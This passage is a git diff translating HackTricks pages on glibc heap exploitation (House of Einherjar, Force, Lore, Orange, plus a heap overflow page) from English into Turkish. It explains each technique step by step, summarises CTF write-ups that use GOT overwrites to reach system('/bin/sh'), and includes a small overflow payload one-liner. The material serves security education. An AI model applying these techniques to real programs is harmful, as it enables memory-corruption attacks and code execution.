ve yeni bir sayfanın oluşturulmasını sağlamak için birkaç `kalloc` birkaç iş parçacığı tarafından zorlanır**. -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıdan ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir. -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'e karşı savunmasız nesneyi ayarlamaya çalışırken birkaç kurban nesnesi ayarlamaya çalıştığında, bu nesnenin bir kurban nesnesinden sonra gelme olasılığının yüksek olduğu anlamına gelir. -### Example libc +### Örnek libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir temel Heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar. -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) örneğinden başka bir örnek, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini gösterir; bu örnekte **bayrağı almak için** kazanan fonksiyonunu çağırmak mümkündür. -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar ederek, **yakın bir parçaya bir adresi üzerine yazmanın** mümkün olduğu gösterilmektedir; burada **kullanıcıdan rastgele veriler** yazılacaktır. -### Example ARM64 - -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: +### Örnek ARM64 +Sayfada [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) bir komutun yürütüleceği bir heap overflow örneği bulabilirsiniz; bu komut, overflow edilen parçanın sonraki parçasında saklanmaktadır. Bu nedenle, yürütülen komutu, kolay bir istismar ile üzerine yazarak değiştirmek mümkündür: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### Diğer örnekler - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- Bir Heap Overflow elde etmek için bir Integer Overflow zafiyetini kullanıyoruz. +- Kod yürütmesi elde etmek için taşan parçanın içindeki bir `struct` içindeki bir işlevin işaretçilerini bozuluyoruz ve `system` gibi bir işlev ayarlıyoruz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..6f4ba12da 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -2,48 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -### Code +### Kod -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) adresinden örneği kontrol edin +- Ya da [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) adresindeki örneği (tcache'i doldurmanız gerekebilir) -### Goal +### Hedef -- The goal is to allocate memory in almost any specific address. +- Hedef, neredeyse herhangi bir belirli adreste bellek ayırmaktır. -### Requirements +### Gereksinimler -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- Bir parça ayırmak istediğimizde sahte bir parça oluşturun: +- Sanity kontrollerini atlatmak için işaretçileri kendisine işaret edecek şekilde ayarlayın +- `PREV_INUSE` bayrağını değiştirmek için bir parçadan diğerine bir null byte ile bir bayt taşması +- Null ile istismar edilen parçanın `prev_size`'ında kendisi ile sahte parça arasındaki farkı belirtin +- Sahte parça boyutu da sanity kontrollerini atlatmak için aynı boyutta ayarlanmış olmalıdır +- Bu parçaları oluşturmak için bir heap leak'e ihtiyacınız olacak. -### Attack +### Saldırı -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- `A` sahte parçası, saldırgan tarafından kontrol edilen bir parça içinde oluşturulur ve `fd` ve `bk` ile orijinal parçaya işaret eder, böylece korumaları atlatır +- 2 başka parça (`B` ve `C`) ayrılır +- `B` parçasındaki bir bayt taşmasını istismar ederek `prev in use` biti temizlenir ve `prev_size` verisi, `C` parçasının ayrıldığı yer ile daha önce oluşturulan sahte `A` parçası arasındaki fark ile üzerine yazılır +- Bu `prev_size` ve sahte parça `A`'daki boyut aynı olmalıdır ki kontrolleri atlatabilsin. +- Sonra, tcache doldurulur +- Sonra, `C` serbest bırakılır, böylece sahte parça `A` ile birleştirilir +- Sonra, sahte `A` parçasında başlayacak ve `B` parçasını kaplayacak yeni bir parça `D` oluşturulur +- Einherjar evi burada sona erer +- Bu, hızlı bin saldırısı veya Tcache zehirlemesi ile devam edilebilir: +- `B`'yi serbest bırakın, hızlı bin / Tcache'e ekleyin +- `B`'nin `fd`'si, hedef adrese işaret edecek şekilde üzerine yazılır ve `D` parçasını istismar eder (çünkü içinde `B`'yi barındırır) +- Sonra, 2 malloc yapılır ve ikincisi **hedef adresi ayıracaktır** -## References and other examples +## Referanslar ve diğer örnekler - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- İşaretçileri serbest bıraktıktan sonra nullify edilmezler, bu nedenle verilerine erişmek hala mümkündür. Bu nedenle, bir parça sıralanmamış bin içine yerleştirilir ve içerdiği işaretçileri sızdırılır (libc leak) ve ardından yeni bir heap sıralanmamış bin üzerine yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır. - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- `strtok`'ta null-byte taşma hatası. +- House of Einherjar'ı kullanarak üst üste binen parçalar durumu elde edin ve Tcache zehirlemesi ile bitirerek keyfi yazma ilkesini elde edin. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..f402f2ead 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -2,45 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -### Code +### Kod -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- Bu teknik yamanmıştır ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) ve bu hatayı üretir: `malloc(): corrupted top size` +- İsterseniz bunu test etmek için [**buradaki kodu**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) deneyebilirsiniz. -### Goal +### Amaç -- The goal of this attack is to be able to allocate a chunk in a specific address. +- Bu saldırının amacı, belirli bir adreste bir parça ayırabilmektir. -### Requirements +### Gereksinimler -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- Üst parça başlığının boyutunu (örneğin -1) yazmayı sağlayan bir taşma. +- Yığın tahsisi boyutunu kontrol edebilme -### Attack +### Saldırı -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +Eğer bir saldırgan, burada bir değeri yazmak için P adresinde bir parça ayırmak istiyorsa, üst parça boyutunu `-1` ile (belki bir taşma ile) yazmaya başlar. Bu, malloc'un herhangi bir tahsis için mmap kullanmayacağından emin olur çünkü Üst parça her zaman yeterli alana sahip olacaktır. +Sonra, üst parçanın adresi ile tahsis edilecek hedef alan arasındaki mesafeyi hesaplayın. Bunun nedeni, o boyutta bir malloc'un, üst parçayı o konuma taşımak için yapılacak olmasıdır. Farkın/boyutun nasıl kolayca hesaplanabileceği: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +Bu nedenle, `target - old_top - 4*sizeof(long)` boyutunu ayırmak (4 long, üst parça ve yeni parça için meta veriler nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\ +Sonra, hedef adreste bir parça almak için başka bir malloc yapın. -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### Referanslar ve Diğer Örnekler - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function -- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- Bu senaryonun amacı, ret2win fonksiyonunun adresi tarafından çağrılacak bir fonksiyonun adresini değiştirmektir. +- İkili, üst parça boyutunu değiştirmek için istismar edilebilecek bir taşma içeriyor, bu da -1 veya p64(0xffffffffffffffff) olarak değiştirilir. +- Sonra, üzerine yazılacak işaretçinin bulunduğu yere olan adres hesaplanır ve üst parçanın mevcut konumundan oraya olan fark `malloc` ile ayrılır. +- Son olarak, bu istenen hedefi içerecek yeni bir parça ayrılır ve bu, ret2win fonksiyonu tarafından üzerine yazılır. +- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) +- `Input your name:` kısmında, heap'ten bir adres sızdırmaya izin veren bir başlangıç zafiyeti vardır. +- Sonra `Org:` ve `Host:` işlevselliğinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür; bu, yığında v2'nin adresiyle takip edilir ve ardından belirtilen **host adı** gelir. Bu nedenle, strcpy `s`'nin içeriğini 64B boyutundaki bir parçaya kopyalayacağından, **üst parçanın boyutunu** **host adı** içindeki verilerle **üzerine yazmak** mümkündür. +- Artık keyfi yazma mümkün olduğuna göre, `atoi`'nin GOT'u printf'in adresi ile üzerine yazıldı. Bu, `%24$p` ile `IO_2_1_stderr` adresini sızdırmak için mümkündü. Ve bu libc sızıntısıyla, `atoi`'nin GOT'unu tekrar `system` adresi ile üzerine yazmak ve parametre olarak `/bin/sh` geçmek mümkündü. +- [Bu diğer yazıda önerilen alternatif bir yöntem](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), `free`'yi `puts` ile üzerine yazmak ve ardından daha sonra serbest bırakılacak işaretçiye `atoi@got` adresini eklemektir, böylece sızdırılır ve bu sızıntıyla tekrar `atoi@got`'u `system` ile üzerine yazmak ve `/bin/sh` ile çağırmaktır. - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- Temizlenmeden serbest bırakılan bir parçayı yeniden kullanmaya izin veren bir UAF vardır. Bazı okuma yöntemleri nedeniyle, burada GOT'taki serbest fonksiyonuna bir işaretçi yazarak bir libc adresini sızdırmak mümkündür ve ardından okuma fonksiyonu çağrılır. +- Sonra, UAF'yi istismar ederek üst alanın boyutunu -1 ile üzerine yazmak, serbest kancaya ulaşacak kadar büyük bir parça ayırmak ve ardından serbest kancayı içerecek başka bir parça ayırmak için House of force kullanıldı. Ardından, kancaya `system` adresini yazın, bir parçaya `"/bin/sh"` yazın ve son olarak bu dize içeriğiyle parçayı serbest bırakın. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..b184fb8dc 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -1,44 +1,44 @@ -# House of Lore | Small bin Attack +# House of Lore | Küçük bin Saldırısı {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -### Code +### Kod -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) adresindekini kontrol et +- Bu çalışmıyor +- Ya da: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- Bu, bazı kontrolleri atlamaya çalışsa bile `malloc(): unaligned tcache chunk detected` hatasını alıyor +- Bu örnek hala çalışıyor: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) -### Goal +### Hedef -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- **Küçük bin içinde sahte bir küçük parça eklemek ve ardından bunu tahsis etmek mümkün hale getirmek.**\ +Eklenen küçük parçanın, saldırganın oluşturduğu sahte parça olduğunu ve rastgele bir konumda olmadığını unutmayın. -### Requirements +### Gereksinimler -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- 2 sahte parça oluşturun ve bunları birbirine ve küçük bin içindeki gerçek parçaya bağlayın: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (serbest bırakılmış küçük bin parçasındaki bir işaretçiyi başka bir zafiyet aracılığıyla değiştirmeniz gerekiyor) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +Sonra `fake0`'ı tahsis edebileceksiniz. -### Attack +### Saldırı -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- Bir küçük parça (`legit`) tahsis edilir, ardından üst parçayla birleştirmeyi önlemek için başka bir parça tahsis edilir. Sonra, `legit` serbest bırakılır (sıralanmamış bin listesine taşınır) ve daha büyük bir parça tahsis edilir, **`legit` küçük bin içine taşınır.** +- Bir saldırgan birkaç sahte küçük parça oluşturur ve mantık kontrollerini atlamak için gerekli bağlantıları yapar: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (serbest bırakılmış küçük bin parçasındaki bir işaretçiyi başka bir zafiyet aracılığıyla değiştirmeniz gerekiyor) +- `legit.bk` -> `fake0` +- Gerçek parçayı almak için bir küçük parça tahsis edilir, bu da **`fake0`**'ı küçük parçaların üst listesine getirir +- Başka bir küçük parça tahsis edilir, `fake0` bir parça olarak alınır ve içinde işaretçileri okuma/yazma olanağı sağlar. -## References +## Referanslar - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..e52faa66c 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -### Code +### Kod -- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) -- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) +- Bir örneği [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) adresinde bulabilirsiniz. +- Sömürü tekniği bu [yamanın](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) içinde düzeltildi, bu nedenle artık çalışmıyor (2.26'dan önce çalışıyordu). +- Daha fazla yorumla aynı örnek [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) adresinde. -### Goal +### Hedef -- Abuse `malloc_printerr` function +- `malloc_printerr` fonksiyonunu kötüye kullanmak. -### Requirements +### Gereksinimler -- Overwrite the top chunk size -- Libc and heap leaks +- Üst parça boyutunu geçersiz kılmak. +- Libc ve heap sızıntıları. -### Background +### Arka Plan -Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** +[**Bu örnekten**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)** bazı gerekli arka plan:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +Eski libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde saklanan `_IO_FILE` yapılarına ait bir liste üzerinden **döngü yapar** ve aslında o yapıda bir talimat işaretçisini **çalıştırır**.\ +Bu saldırı, **`_IO_list_all`** içine yazacağımız **sahte bir `_IO_FILE` yapısı** oluşturacaktır ve `malloc_printerr`'in çalışmasına neden olacaktır.\ +Sonra, **`_IO_FILE`** yapılarına ait atlama tablosunda sakladığımız **herhangi bir adresi** çalıştıracaktır ve kod yürütmesi elde edeceğiz. -### Attack +### Saldırı -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +Saldırı, **sıralanmamış kutu** içindeki **üst parçayı** elde etmeyi başarmakla başlar. Bu, `malloc`'ı mevcut üst parça boyutundan daha büyük ama **`mmp_.mmap_threshold`** (varsayılan 128K) değerinden daha küçük bir boyutla çağırarak elde edilir; aksi takdirde `mmap` tahsisi tetiklenir. Üst parça boyutu değiştirildiğinde, **üst parça + boyut**'un sayfa hizalı olduğundan ve üst parçanın **prev_inuse** bitinin her zaman ayarlandığından emin olmak önemlidir. -To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +Sıralanmamış kutu içindeki üst parçayı elde etmek için, üst parçayı oluşturmak için bir parça tahsis edin, üst parça boyutunu (tahsis edilen parçada bir taşma ile) değiştirin, böylece **üst parça + boyut** sayfa hizalı ve **prev_inuse** bit ayarlanmış olsun. Ardından, yeni üst parça boyutundan daha büyük bir parça tahsis edin. `free`'in üst parçayı sıralanmamış kutuya almak için asla çağrılmadığını unutmayın. -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +Eski üst parça artık sıralanmamış kutuda. İçinde veri okuyabiliyorsak (muhtemelen taşmaya neden olan bir zafiyet nedeniyle), libc adreslerini sızdırmak ve **\_IO_list_all** adresini elde etmek mümkündür. -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +Sıralanmamış kutu saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazılarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış kutuya bir işaretçi yazılacaktır. -The next step involves shrinking the size of the old top chunk to fit into a small bin, 